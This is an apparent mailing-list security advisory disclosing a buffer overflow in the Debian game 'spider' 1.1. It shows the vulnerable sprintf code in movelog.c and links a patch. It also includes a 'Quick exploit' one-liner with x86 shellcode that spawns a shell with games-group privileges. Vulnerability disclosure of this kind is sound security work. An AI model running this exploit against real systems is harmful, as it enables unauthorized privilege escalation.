<<< Date Index >>>     <<< Thread Index >>>

Buffer Overflow in Spider game



Description:
Spider 1.1 buffer overflow.

Summary:
A vulnerability has been discovered in the game spider, an application
contained in the Debian GNU/Linux distribution.
The vulnerability allows a local attacker to gain elevated privileges by
overflowing the -s parameter.

Impact:
The attacker can gain group privileges. By default "games".

Workaround:
A patch can be found at
http://www.emuadmin.com/contrib/software/spider/spider-1.1.patch

Details:
The vulnerability is located in the file movelog.c
read_file(fname)
char *fname;
{
FILE *fp;
char buf[1024], buf2[1024];
char *dp;

fname = remove_newlines(fname);
if ((fp = fopen(fname, "r")) == NULL) {
(void)sprintf(buf, "Can't open file \"%s\" for loading.", fname);
^^^^^^^^
show_message(buf);
return;
}

sh# spider -s `perl -e 'print "A" x 1045'`
Program received signal SIGSEGV, Segmentation fault.
Quick exploit:
sh# spider -s `perl -e 'print "\x90" x 987 .
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80".
"\x0c\xf6\xf\xbf"'`
sh# id
uid=1002(gigi) gid=100(game) groups=100(users)

Availability This message and any further updates can be found at
http://www.emuadmin.com/advisories/spider-1.1-10032004


Security Team
security@xxxxxxxxxxxx

  www.emuadmin.com